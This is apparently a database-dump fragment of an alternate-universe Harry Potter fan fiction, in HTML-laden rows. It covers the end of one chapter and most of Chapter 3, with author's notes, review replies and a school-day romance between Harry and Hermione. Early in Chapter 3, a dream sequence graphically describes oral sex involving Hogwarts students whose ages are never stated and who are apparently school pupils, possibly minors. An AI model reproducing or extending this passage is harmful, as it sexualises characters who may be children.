over to him. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Look, Harry&#8230;&#8221;\nDean said, looking at Seamus. &#8220;We wanted to apologise for the things we said to\nyou about Hermione earlier.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry raised his\nface off the mattress. &#8220;Oh?&#8221; he asked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yeah.&#8221; Seamus\nspoke. &#8220;We shouldn&#8217;t have said she was a walking disaster, and we&#8217;re really\nsorry.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well&#8230;thanks.&#8221;\nHarry said to his friends. Dean looked at Seamus again.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;So&#8230;are you going\nto score with her or not?&#8221; he asked, unable to control his laughter. Harry\nsprang up and grabbed his pillow.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You&#8217;re going to\npay for that one Thomas!&#8221; he threatened playfully, and soon the Boys Dormitory\nwas covered with flying feathers.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">A/N: PHEW!!!\nRushed it a bit to get this chapter to you guys!!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">More romantic\nstuff coming up, but we have to establish their friendship first. Hope you&#8217;ve\nenjoyed, and leave a review!!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Oh yeah&#8230;don&#8217;t\nforget once again, this is an AU FIC!!!!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(78, 3, '\n\n\n\n\n\n\n\n<p class="MsoNormal">Chapter 3</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">A/N: Thanks again\nto those who took the time to review! We&#8217;re both thrilled that you like this\nfic, and hope you enjoy the upcoming chapters. There will be more romance, of\ncourse, but we wanted to make sure that they become friends first. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">And BEFORE we\nforget AGAIN, and we&#8217;re both very ashamed, we must tell you all that Bookworm\nSweetheart is responsible for this FANTASTIC plot idea!! If it weren&#8217;t for her,\nwe wouldn&#8217;t be writing it. Shame on us for forgetting to say it sooner!!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">And while you&#8217;re\nwaiting for the next chapter, please go check out our individual stories!\nHeaven&#8217;s newest chapter of Within the Shadows of Hatred is in dire need of\nreviews!!!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal"><b>Review\nResponses</b>:</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She Vamp: We&#8217;re\ngetting to Harry, don&#8217;t worry. You&#8217;ll see plenty of his emotions this chapter\n;)</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">LeBoshi: You\ncalled Heaven a witch; you say that like it&#8217;s a bad thing ;) LOL</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Nappa: Hold your\npants for the smut, it&#8217;s coming!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">SexsiPrincess: AU\nmeans Alternate Universe</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Sparkle\nTangerine: Ron&#8217;s still around. He comes more into play later in the fic; keep\nreading you&#8217;ll see.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">VipyGirl831: Glad\nyou liked Pouting!Harry and FallingoffChair!Hermione</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Angel: If there&#8217;s\na lack of updates in the stories we write together, it&#8217;s because we&#8217;re working\nextra hard to put out our separately written ones as well. We&#8217;ll keep it going\nas steadily as possible though!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Miranda parker:\nWe&#8217;d all kill to have boyfriends like Harry ;)</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Emster: Thanks\nfor the Salem witch info ;) LOL!!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">hermione*harry4eva21: Heaven wrote Return to Me, but Love is a\nBattlefield is written by Lissanne.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Well I think that\ntakes care of any questions or funny comments left in reviews&#8230;hope you enjoy\nthis chapter as much as you have the others so far!!!!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry threw his\nhead back, gasping for air as tingling sensations wracked his body. A pair of\nlips were moving down his neck, over his chest and working their way down to\nhis manhood.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh!&#8221; his breath\ncaught in his throat as the most amazing feelings washed over him.&nbsp; He felt smooth hands run over his chest, and\nhis back arched as she went down on him. Harry tried to see who was creating\nthese wonderful thrills. Looking down, all he could see was a head of long dark\nhair, moving up and down on him. Forgetting about finding who it was, he let\nhis head fall back again, panting; this was too good to ignore. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She was\nsatisfying him immensely, his pleasure factor was going higher and higher as\nthe mysterious girl continued her game. Her lips finally left his manhood and\nbegan to work their way back up. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh&#8230;Harry&#8230;&#8221; she\nbreathed, and Harry trembled at the way her name rolled out of her mouth. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Please&#8230;&#8221; his\nvoice came out feebly, still reeling from the passion she&#8217;d bestowed upon him.\nHe wanted to ask her name, but before he could even see, her lips were now\npressed hard against his, her tongue reaching out, exploring his mouth. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry kissed her\nback, she felt so warm, and smelled so good. He reached up under her gown to\nstroke her skin. It was smooth under his fingers, almost like silk.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry&#8230;&#8221; she drew\nher mouth away from his now, and he fell back against his pillow in shock. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hermione?&#8221; his\nvoice came out more of a question than shock. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry I&#8217;ve loved\nyou for so long, say you love me too&#8230;&#8221; her voice was almost ethereal sounding,\nher gaze burning yet pleading.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">He opened his\nmouth to speak, but she&#8217;d pressed her lips to his again roughly, and drew back\nonce more. &#8220;Harry its time to wake up.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What?&#8221; he asked,\nconfused.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Time to wake\nup!&#8221; she grinned, leaning away from him. &#8220;Time to wake up!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;WHAT?&#8221; Harry\nyelled as he sat straight up. He was breathing heavily, and he looked down to\nsee his nightshirt soaked in perspiration. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Time to get up!&#8221;\nhis stupid alarm clock was singing gleefully from his bedside table, and he\nreached through the hangings and thumped his fist on the top of it, shutting\nthe blasted thing off.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What the hell\nwas that all about?&#8221; he mumbled to himself, rubbing the last traces of sleep\nfrom his eyes. He reached again through the hangings and grabbed his glasses,\nsettling them on the bridge of his nose. He sat for a long moment; just trying\nto figure out what that dream had been all about.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">It had certainly\nfelt real, he reasoned as he pushed apart the curtains and pulled some clean\nclothes from his wardrobe. Taking a quick shower, he decided to dress in the\nbathroom and avoid Dean and Seamus until breakfast. Besides not wanting to have\nthem bug him about Hermione, he needed time to think about that dream.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Across the castle\nand in the Slytherin dungeons, Hermione had just awoken. She felt unnaturally\ntired for some reason, but it could be her embarrassment over what had\ntranspired the night before in the library.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She felt so\nfoolish for throwing herself at Harry the way she had, but at the moment\nHermione had not cared, she&#8217;d have even settled for a stranger, she had just\nwanted a shoulder to cry on. Now that she&#8217;d had time to think about it, it had\nseemed such a stupid thing to do.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Bother, if he&#8217;s\nas embarrassed as I am then I&#8217;m sure I&#8217;ll find out soon enough.&#8221; Hermione\ngrumbled to herself, taking care not to wake her roommates. She grabbed up her\nclothing and headed towards the Head Girl&#8217;s bathroom, knowing Blaise wouldn&#8217;t\ncare if she used it.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">As she scrubbed\nher hair, she thought again about Harry. It wasn&#8217;t normally like her to moon\nover one guy for as long as she had him, but there was something about his\nbright green eyes and messy midnight hair. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Honestly!&#8221; she\nfinished showering and wrapped herself in a large towel. A knock was heard on\nthe door.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hermione?&#8221;\nBlaise poked her sleepy face through the doorframe. &#8220;How long have you been in\nhere?&#8221; she asked, yawning. She locked the door behind her as she came inside.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;A little while.&#8221;\nHermione answered as she finished dressing. Blaise disappeared in the shower\nstall as Hermione finished drying her hair.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Let me put some\nmakeup on you.&#8221; Blaise said, as she did every morning.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione stared\nat her reflection for a few moments. &#8220;All right.&#8221; She agreed. &#8220;But don&#8217;t go\noverboard.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Blaise nearly\nfell over in shock. &#8220;What?&#8221; she asked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I said, all\nright.&#8221; Hermione repeated patiently. &#8220;Just don&#8217;t go overboard.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Blaise\nimmediately came over and sat down next to Hermione. &#8220;This is great!&#8221; she\nsquealed.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione felt a\ntwinge in her stomach, but she trusted her friend. And perhaps if she looked\npretty, Harry wouldn&#8217;t feel ashamed of being her partner.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I know I had\nsome eye shadow in here that will work perfectly.&#8221; Blaise muttered, digging\nthrough a deep drawer filled with cosmetics. &#8220;Aha!&#8221; she pulled out some light\ngreen shadow, and then grabbed a tiny brush. &#8220;Okay, close your eyes.&#8221; Hermione\nobediently did as she was told.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;This green shade\nwill work with your brown eye colour. Green always brings out brown.&#8221; Blaise\nlectured as she gently brushed the shadow on. Hermione opened her eyes and\nturned to look, but her friend stopped her. &#8220;You can&#8217;t look until I&#8217;m done!&#8221;\nshe said, turning Hermione so she faced away from the mirror. &#8220;Now&#8230;you&#8217;ve still\ngot good colour in your face so you don&#8217;t need any blusher, but you could use\nsome gloss&#8230;.&#8221; She dug through the drawer again.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I don&#8217;t like\nlipstick.&#8221; Hermione said as she watched Blaise hunt through yet another drawer.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;It&#8217;s not\nlipstick, it&#8217;s lip gloss.&#8221; Blaise pulled a tiny tube of shiny pinkish gloss out\nof the clutter. &#8220;There&#8217;s a big difference.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;If you say so.&#8221;\nHermione sighed. She sat still as Blaise applied the gloss.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Rub your lips\ntogether.&#8221; She said, and stood back and surveyed her. &#8220;Okay&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;All done?&#8221;\nHermione asked, relieved.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Nope.&#8221; Blaise\ngrabbed her brush. &#8220;We need to fix your hair. Do you want it up or down?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Down, I guess.&#8221;\nHermione said as Blaise fussed with her dark brown locks. She was beginning to\ngrow impatient as her hair was tugged and pulled, but finally Blaise set the\nbrush down and grinned. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;All ready!&#8221; she\nsaid, and spun Hermione around. Her mouth fell open as she looked at herself.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Her hair had been\npulled back at the sides, and for some reason, this style made it look less\nbushy. Blaise had been right about the eye shadow, and about the gloss. The\ndifference was quite subtle, but noticeable.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry is going\nto go crazy when he sees you.&#8221; Blaise grinned, proud of her work.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You think?&#8221;\nHermione asked absently, straightening her jumper. &#8220;I mean, what does it\nmatter? I look nice for me, and only me.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Right.&#8221; Blaise\nsaid sarcastically, rolling her eyes. &#8220;I&#8217;ll be ready in about fifteen minutes,\nare you going to wait for me?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Merlin&#8217;s Beard,\nyes!&#8221; Hermione exclaimed. &#8220;I&#8217;m not walking down there alone.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Blaise pushed her\nout the door. She hoped that looking nice would give her best friend some more\nconfidence. Hermione had a lot going for her, but hid herself in books. And\nassholes like that Dean Thomas and Seamus Finnigan didn&#8217;t help matters any.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Ready to knock\nHarry&#8217;s block off?&#8221; she asked cheerfully as she came out twenty minutes later.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;If I don&#8217;t die\nof hunger first.&#8221; Hermione said. The two girls left the Head Girl and Boy\ncommon room and went into the hallway. &#8220;Blaise, are you sure I look fine? No\none will laugh at me?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Herms, I&#8217;m\ninsulted that you think I&#8217;d lie to you.&#8221; Blaise slung an arm around Hermione&#8217;s\nshoulders.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Don&#8217;t call me\nHerms, you know I hate it.&#8221; Hermione glared at her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well you\ninsulted my makeup.&#8221; Blaise said lightly. &#8220;So I can call you Herms.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The two girls\nsniggered as they came to the Great Hall door. A few people turned to look at\nHermione as the two girls wove their way to the Slytherin table, but for the\nmost part, no one bothered to look. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;See, I told you\nit was subtle.&#8221; Blaise said as they took their seats. Food appeared on the\nplatters in front of them, and everyone began to eat.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione was\neating some oatmeal when Blaise jabbed her. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Don&#8217;t look now&#8230;&#8221;\nshe hissed. &#8220;Harry&#8217;s staring at you. This is the fourth time I&#8217;ve caught him\nlooking since breakfast started.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione gulped\ndown her cereal, and discreetly looked up. Blaise was right, Harry was indeed\nlooking in her direction, although he was not wearing a smile, his face was\ntroubled.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Smile at him,\nwave, or something!&#8221; Blaise said through her teeth. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I will!&#8221;\nHermione hissed back at her. Trying hard to remain casual, she slowly brought\nher head up, so that her eyes met Harry&#8217;s. Forcing a smile and keeping the\nredness in her cheeks down, Hermione was pleased with herself for managing a\nwave.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry shook his\nhead as if he&#8217;d been staring into a space, and waved back. Blaise grinned as the\nflush came full force into Hermione&#8217;s face.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;See.&#8221; She said,\nfull of self importance. &#8220;I was right, once again. Now just wait until he sees\nyou close up, then he&#8217;ll really be staring.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry gobbled the\nrest of his breakfast down. He was eager to leave the Great Hall before\neveryone else did. His feelings were confusing him so much, he didn&#8217;t want to\ntalk to anyone before he could sort them out. He had the thought that he would\ntry to talk to Draco later, perhaps that could help.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;See you guys in\nclass.&#8221; He said to Dean and Seamus as he grabbed his books and practically ran\ntowards the doors. Once outside, he leaned against the wall and closed his\neyes, hoping his best friend would come out soon.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry?&#8221; a female\nvoice asked tentatively. His eyes snapped open and he saw Hermione, who was\ntwisting the edge of her robes in her hand.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hi!&#8221; he said, a\nbit too loudly. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;m sorry for\nstartling you.&#8221; She apologised. &#8220;I uh&#8230;I wanted to say I&#8217;m sorry about last\nnight.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What do you\nmean?&#8221; Harry asked, transfixed by her mouth. Oh, what things she had done to\nhim with that mouth just a few hours ago in his dreams. He felt his traitorous\nbody react to that thought, and he shifted his books so it was covered.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well, about\nsobbing all over you like I did.&#8221; Hermione replied. Was it her imagination, or\nwas he extremely fidgety today? &#8220;It&#8217;s just&#8230;I&#8217;ve only been able to talk to\nBlaise about what happened with Justin, and I guess&#8230;you were just in the wrong\nplace at the wrong time.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;It&#8217;s okay.&#8221;\nHarry replied. He stepped closer to her, and was shocked for a moment at how\npretty she was. Had she been so pretty before, or was it just his dream? <i style="mso-bidi-font-style:normal">&#8216;She was pretty before&#8230;you&#8217;re just\nresponding more now.&#8217;</i>&nbsp; A nagging\nvoice echoed in his head, and he shook it away. &#8220;You needed a friend, and\nthat&#8217;s what we are.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Really? You&#8217;re\nnot angry or anything?&#8221; Hermione asked. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Nope.&#8221; He\ngrinned now, although he still felt quite troubled. &#8220;Anytime you want to talk,\nI&#8217;m here.&#8221;&nbsp; He moved a bit closer to\nher. &#8220;And if that jerk Justin gives you any more trouble, let me know too.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Okay.&#8221; She said,\nnervous that he was so close to her. She could smell him; he had a scent she\ncouldn&#8217;t quite place, something woodsy yet clean smelling. &#8220;Thanks, Harry.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Sure.&#8221; He said\nas she waved and scurried back to the Great Hall. He waited a few more minutes\nand Draco came strolling through the doors.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Glad you&#8217;re\nhere.&#8221; Harry grabbed his arm and pulled him along the corridor.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Great to see you\ntoo, Potter.&#8221; Draco said languidly. &#8220;Where&#8217;s the fire?&#8221; he asked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I need to talk\nto you.&#8221; Harry replied. &#8220;It&#8217;s really urgent.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;When isn&#8217;t\nsomething an urgency with you?&#8221; Draco asked as they went into the empty\nTransfiguration classroom. It was so early that McGonagall wasn&#8217;t even there\nyet.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;It&#8217;s just you&#8217;re\ngood with girls and I&#8217;m&#8230;not.&#8221; Harry ran a hand through his black hair.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;True.&#8221; Draco\nsaid, stretching lazily. &#8220;So what girl are you having trouble with?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well&#8230;none.&#8221;\nHarry said. &#8220;I&#8217;m not sure if I really like her, or if it&#8217;s just my\nimagination.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Do tell me\nmore.&#8221; Draco said, sitting up. He listened while Harry described everything\nthat had happened since he and Hermione had been paired up as partners.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Sounds like a\nreally graphic dream.&#8221; Draco teased as the flush rose in Harry&#8217;s face.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;It was.&#8221; Harry\nreplied. &#8220;But I&#8217;m not sure about how I feel now. Is it because I had a dream\nlike that about her?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry, usually\nwhen you dream about a girl, it means you already like her.&#8221; Draco said with\nexpertise.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I barely know\nher.&#8221; Harry objected. &#8220;I mean, I&#8217;ve known who she is, but until a few days ago,\nwe probably spoke maybe twice in our lives.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You think she&#8217;s\npretty?&#8221; Draco pressed.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry thought for\na minute. &#8220;Yeah.&#8221; He said. &#8220;Yeah, she&#8217;s pretty.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well, ask her\nout and see if anything comes of it.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;d like to get\nto know her better first, as a friend.&#8221; Harry replied.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Then do that,\nbut don&#8217;t be surprised if you find yourself falling for her completely.&#8221; Draco\ndrawled. Harry tossed his Transfigurations text at him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Thanks for the\nadvice!&#8221; he said sarcastically. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;So you see, they\ndidn&#8217;t actually burn, but experienced only light tickling sensations.&#8221; Harry\ndictated aloud as he copied the information neatly onto a piece of parchment.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I thought it\nwasn&#8217;t light, but heavy.&#8221; Hermione frowned, poring over another book. She and\nHarry were sitting side by side at a table in the library, books stacked around\nthem so highly that they couldn&#8217;t see over them.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No, it&#8217;s a light\ntickling.&#8221; Harry said. &#8220;Gentle, if you want the proper wording.&#8221; He pushed the\nbook between them and pointed. &#8220;Look, gentle.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You like being\nright, don&#8217;t you.&#8221; Hermione didn&#8217;t mind his teasing, not in the least.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Especially when\nit means you&#8217;re wrong.&#8221; Harry said smugly but jokingly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You&#8217;re so\nfunny!&#8221; Hermione said sarcastically, but she was grinning. &#8220;I still believe it\nwas a heavy tickling!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You want to see\nheavy tickling?&#8221; Harry moved the book aside. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione eyed him\nwarily, pleased yet alarmed he was so close to her, it was making her a bit\ndizzy. &#8220;What do you mean?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;This!&#8221; Harry\nwent in for the kill, and began tickling her sides mercilessly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry!&#8221; she\nshrieked, then collapsed in silent, tortured giggles as he squeezed her sides.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Now THAT&#8217;S heavy\ntickling!&#8221; he said about two minutes later, laughing too hard to continue.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oooh that was\nmean!&#8221; Hermione wiped tears from her cheeks. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;m sorry.&#8221;\nHarry said in a voice that showed he didn&#8217;t mean it. &#8220;Really. I am.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You are not.&#8221;\nHermione swatted him on the arm. She was extremely proud of herself for not\nbecoming flustered like she usually did. Something about him made her feel\nextremely comfortable.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I think that&#8217;s\ngood enough for tonight.&#8221; Harry said about a half hour later. &#8220;We&#8217;re making\nreally good time on this, we&#8217;ll have it done way ahead of the due date.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I think so too.&#8221;\nHermione agreed, marking her page with a scrap of parchment.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry grinned at\nher, she&#8217;d left her hair in the style it had been in at breakfast, and it\nlooked so cute on her. He was feeling better about his feelings ever since\ntalking to Draco, and getting to know her first as a friend would be the best\nthing to do. &#8220;So what else do you like to do for fun? We never got to finish\ntalking last night.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yeah, that got\nspoiled a bit didn&#8217;t it.&#8221; Hermione made a face. &#8220;Well, I love to read, I like\nto write&#8230;.what about you?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well, flying is\nmy absolute favourite thing to 